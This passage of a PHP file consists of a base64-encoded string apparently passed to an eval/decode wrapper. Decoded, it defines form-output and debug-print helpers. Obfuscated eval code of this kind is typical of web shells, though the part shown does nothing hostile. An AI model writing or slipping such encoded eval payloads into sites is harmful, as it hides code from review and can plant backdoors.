dCBjbGFzcz0iYnQiIG5hbWU9IicuJG5hbWUuJyIgaWQ9XCInLiRuYW1lLidcIiB0eXBlPSJzdWJt
aXQiIHZhbHVlPSJTdWJtaXQiPjwvcD4nKTsKCXAoJzwvZm9ybT4nKTsKfQoKZnVuY3Rpb24gZm9y
bWZvb3QoKXsKCXAoJzwvZm9ybT4nKTsKfQoKLy8gfCYjMTExODstK3wmIzEwODc7LSAKZnVuY3Rp
b24gcHIoJGEpIHsKCWVjaG8gJzxwcmU+JzsKCXByaW50X3IoJGEpOwoJZWNobyAnPC9wcmU+JzsK
fQ==')); ?>